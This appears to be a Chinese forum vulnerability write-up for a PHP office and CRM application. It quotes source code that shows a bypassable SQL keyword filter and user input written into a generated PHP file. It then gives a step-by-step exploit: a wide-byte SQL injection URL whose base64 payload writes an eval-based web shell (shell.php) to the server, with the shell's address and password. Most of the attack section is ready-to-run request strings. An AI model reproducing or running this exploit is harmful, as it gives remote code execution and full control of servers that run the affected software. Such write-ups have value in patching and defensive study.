// inc/conn.php[/color]
function exequery( $C, $Q, $LOG = FALSE ){
if ( !$LOG ){
$POS = stripos( $Q, "union" ); //检测union
if ( $POS !== FALSE && stripos( $Q, "select", $POS ) !== FALSE ){ //union存在再检测select
exit( );
}
$POS = stripos( $Q, "into" ); //检测into outfile
if ( $POS !== FALSE && ( stripos( $Q, "outfile", $POS ) !== FALSE || stripos( $Q, "dumpfile", $POS ) !== FALSE ) ){
exit( );
}
}
if ( gettype( $C ) != "resource" ){
printerror( _( "无效的数据库连接" )."<br><b>"._( "SQL语句:" )."</b> ".$Q, $LOG );
return FALSE;
}
$cursor = @mysql_query( $Q, $C );
if ( !$cursor ){
printerror( "<b>"._( "SQL语句:" )."</b> ".$Q, $LOG );
}
return $cursor;
} // general\crm\studio\modules\EntityRelease\CreateIndexFile.php[/color]
function createIndex( $ENTITY_NAME, $APP_PATH ){
global $ROOT_PATH;
$filePath = $ROOT_PATH."general/".$APP_PATH;
if ( !file_exists( $filePath ) ){
mkdir( $filePath, 448 );
}
$fileName = $filePath."/index.php";
$file = fopen( $fileName, "w" );
$fileContent = createindexcontent( $ENTITY_NAME ); //关键
fwrite( $file, $fileContent );
fclose( $file );
createopjs( $filePath );
} // general\crm\studio\modules\EntityRelease\CreateIndexFile.php[/color]
function createIndexContent( $ENTITY_NAME ){
$fileStr .= createindexphpheader( $ENTITY_NAME );
$fileStr .= createindexhtml( );
return $fileStr;
} // general\crm\studio\modules\EntityRelease\CreateIndexFile.php
function createIndexPHPHeader( $ENTITY_NAME ){[/color]
$fileStr .= "<?php\r\n\tinclude_once(\"general/crm/apps/crm/header.php\");\r\n\tinclude_once(\$g_CRM_PATH.\"/include/interface/list.interface.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/utility.ui.php\");\r\n\tinclude_once(\$g_PLATFORM_PATH.\"/base/auth.func.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/entity.class.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/entityAction.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/conditional.php\");\r\n\tinclude_once(\"inc/utility_org.php\");\r\n\tinclude_once(\"inc/utility_file.php\");\r\n\tinclude_once(\$g_CRM_PATH.\"/include/general.func.php\");\r\n\t[/color][color=#ff0000][b]\$ENTITY = \"".$ENTITY_NAME."\";[/b][/color][color=#0000ff]\r\n\tif(\$USER_VIEW == \"\"){\r\n\t\t\$USER_VIEW = getDefaultUView(\$ENTITY, \$LOGIN_USER_ID); //创建默认视图未处理\r\n\t}\r\n\t\$ModuleInfoArr = getModuleInfo(\$ENTITY);\r\n\t\$FieldDetialInfoARR = FieldDetialInfo(\$USER_VIEW);\r\n\t\$WHERE_CLAUSE = getWhereSQL(\$_SERVER['QUERY_STRING']);\r\n\t\$MODULE_ACTION = getModuleActionStr(\$ENTITY, \$USER_VIEW);\r\n\t\$MODULE_NORMAL_STR = getModuleNormalSearchStr(\$ENTITY);\r\n\t\$views = getUserViewList(\$ENTITY, \$LOGIN_USER_ID, \$LOGIN_DEPT_ID, \$LOGIN_USER_PRIV);\r\n\t\$VIEW_OPTION_TMPL = getViewSelOptionTmpl(\$views, \$USER_VIEW);\r\n\t\$PAGE_SIZE = \$_GET[\"PAGE_SIZE\"] == \"\" ? 10 : \$_GET[\"PAGE_SIZE\"];\r\n\t\$query = getViewQueryCountSQL(\$USER_VIEW, \$ENTITY, \$WHERE_CLAUSE, \$EXTENSION_AUTHORITY_CLAUSE);\r\n\t\$cursor = exequery(\$connection, \$query);\r\n\tif(\$result = mysql_fetch_array(\$cursor)){\r\n\t\t\$TOTAL_SIZE = \$result[0];\r\n\t}\r\n\t\$TOTAL_PAGE = ceil(\$TOTAL_SIZE/\$PAGE_SIZE);\r\n\tif(\$CUR_PAGE < 1){ \$CUR_PAGE = 1; }\r\n\tif(\$CUR_PAGE > \$TOTAL_PAGE){ \$CUR_PAGE = \$TOTAL_PAGE; }\r\n\t\$query = getViewQuerySQL(\$USER_VIEW, \$ENTITY, \$PAGE_SIZE, \$CUR_PAGE, \$ORDERFIELD, \$ORDERTYPE, \r\n\t\$WHERE_CLAUSE, \$CONFIGARR, \$EXTENSION_AUTHORITY_CLAUSE);\r\n\t\$cursor = exequery(\$connection, \$query);\r\n\r\n\t\$LIST_VIEW_DATA_HEAD_TMPL = getListViewHeaderTmpl(\$FieldDetialInfoARR, \$ORDERFIELD, \$ORDERTYPE, \$CONFIGARR);\r\n\t\$colorSchema = getColorSchema(\$USER_VIEW);\r\n\t\$LIST_VIEW_DATA_BODY_TMPL = getListViewDataBodyTmpl(\$cursor, \$FieldDetialInfoARR, \$colorSchema, \$PAGE_SIZE);\r\n\t\$QuickLinkStr = getModuleQuickLinkStr();\r\n\t\$RevisionHistoryStr = getModuleRevisionHistoryStr(\$ENTITY, \$EXTENSION_AUTHORITY_CLAUSE);\r\n\t\$FastNewStr = getModuleFastNewStr(\$ENTITY);\r\n?>\r\n";[/color]
return $fileStr; // general\crm\studio\modules\EntityRelease\release.php[/color]
include_once( "general/crm/studio/header.php" );
include_once( "file.func.php" );
include_once( $g_STUDIO_PATH."/include/entity.class.php" );
if ( $entity_name != "" ){
$APP_PATH = getapppath( $entity_name ); //取得路径
if ( $APP_PATH == "" ){
message( "", _( "未找到发布路径!" ) );
echo "<center><input type=\"button\" class=\"BigButton\" value="._( "返回" )." onclick=\"window.location.href='./index.php'\"></center>";
exit( );
}
include_once( "CreateIndexFile.php" );
createindex( $entity_name, $APP_PATH ); // GETSHELL
include_once( "CreateEditFile.php" );
createeditfile( $entity_name, $APP_PATH );
include_once( "CreateUpdateFile.php" );
createupdatefile( $entity_name, $APP_PATH );
include_once( "CreateDetailFile.php" );
createdetailfile( $entity_name, $APP_PATH );
include_once( "CreateFastUpdateFile.php" );
createfastupdatefile( $entity_name, $APP_PATH );
include_once( "CreateDeleteFile.php" );
createdeletefile( $entity_name, $APP_PATH );
} // general\crm\studio\modules\EntityRelease\file.func.php[/color]
function getAppPath( $entity_name ){
global $connection;
$query = "select sys_function.FUNC_CODE as FUNC_CODE from sys_function,crm_sys_entity where sys_function.FUNC_ID = crm_sys_entity.menu_id and crm_sys_entity.entity_name = '".$entity_name."'";
$cursor = exequery( $connection, $query );
if ( $row = mysql_fetch_array( $cursor ) ){
$APP_PATH = $row['FUNC_CODE'];
}
return $APP_PATH;
}select sys_function.FUNC_CODE as FUNC_CODE from sys_function,crm_sys_entity where sys_function.FUNC_ID = crm_sys_entity.menu_id and crm_sys_entity.entity_name = '1' or sys_function.FUNC_ID=1
entity_name=1%d5' or sys_function.FUNC_ID=1# ${ fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}
select sys_function.FUNC_CODE as FUNC_CODE from sys_function,crm_sys_entity where sys_function.FUNC_ID = crm_sys_entity.menu_id and crm_sys_entity.entity_name = '1誠' or sys_function.FUNC_ID=1# ${ fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}
第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}
第二步: [GET]http://site/general/email/index.php
SHELL: http://site/general/email/shell.php 密码C